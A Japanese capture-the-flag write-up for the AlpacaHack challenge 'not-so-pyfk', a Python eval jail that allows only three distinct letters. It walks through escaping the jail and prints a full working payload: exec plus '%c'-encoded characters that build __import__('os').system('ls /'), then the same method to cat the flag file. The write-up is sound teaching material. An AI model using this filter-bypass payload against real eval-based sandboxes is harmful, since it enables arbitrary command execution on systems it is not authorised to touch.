問題ページ:https://alpacahack.com/daily/challenges/not-so-pyfk
なぜそうするのかを重点的に解説するwriteupなのでもっと簡潔で分かりやすいのが見たい人は、他の方のを読みましょう!!!
問題のコード
code = input("jail > ")
if not code.isascii():
# Why? Because https://alpacahack.com/daily/challenges/super-short-system-exit
print("Not ascii")
exit()
if len(set(c for c in code if c.isalpha())) > 3:
print("Too many alphabets")
exit()
eval(code)
- 入力に対してascii文字(英数字+記号など)で構成されているか、英語(アルファベット)は3種類以内かをチェック
- チェックが通ったらevalに入れる
という処理になっている
解き方
- 最終的にflagをcatするのが目標だが、まずDockerfileを見てみると
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
となっており、flagのファイル名が変更されている。そのため、ls /をしてファイル名を確認する必要がある
- lsといったコマンドを実行するためにはosというモジュールをimportする必要があるが、evalは式の値を求める関数なので、importといった実行はできない
- そしてそれをアルファベット三種類+数字+記号などでできるようにしないといけない
- まずeval内でimportといった処理を実行する方法だが、execを使えばできる。execは文を実行する関数で、関数の呼び出しは式なのでevalの中に入れることができる。その上アルファベットはe,x,cしか使っていないので制限にも引っかからない
- execの中は__import__("os").system(<コマンド>)とするとモジュールをimportしながらコマンドを実行できる
- しかしこれ(↑)をそのまま入力しても弾かれるため、数字を文字に変換させることで、アルファベットの制限を突破する
- 数字をasciiに変換する方法として、chr関数が代表的だか、それだとアルファベットが5種類になってしまうので、%cという文字のフォーマット方法を利用する
- 例
"%c" %97 # -> 'a'- cを使っているが、execのcと被っているので3種類以内
- そしたらexecの中(__import__("os").system("ls /"))を"%c" %<数字>にした
exec('%c'%95+'%c'%95+'%c'%105+'%c'%109+'%c'%112+'%c'%111+'%c'%114+'%c'%116+'%c'%95+'%c'%95+'%c'%40+'%c'%34+'%c'%111+'%c'%115+'%c'%34+'%c'%41+'%c'%46+'%c'%115+'%c'%121+'%c'%115+'%c'%116+'%c'%101+'%c'%109+'%c'%40+'%c'%34+'%c'%108+'%c'%115+'%c'%32+'%c'%47+'%c'%34+'%c'%41)
を入力するとflagのファイル名を得ることができるので、__import__("os").system("cat /<ファイル名>")で同じことをすればflagを入手できる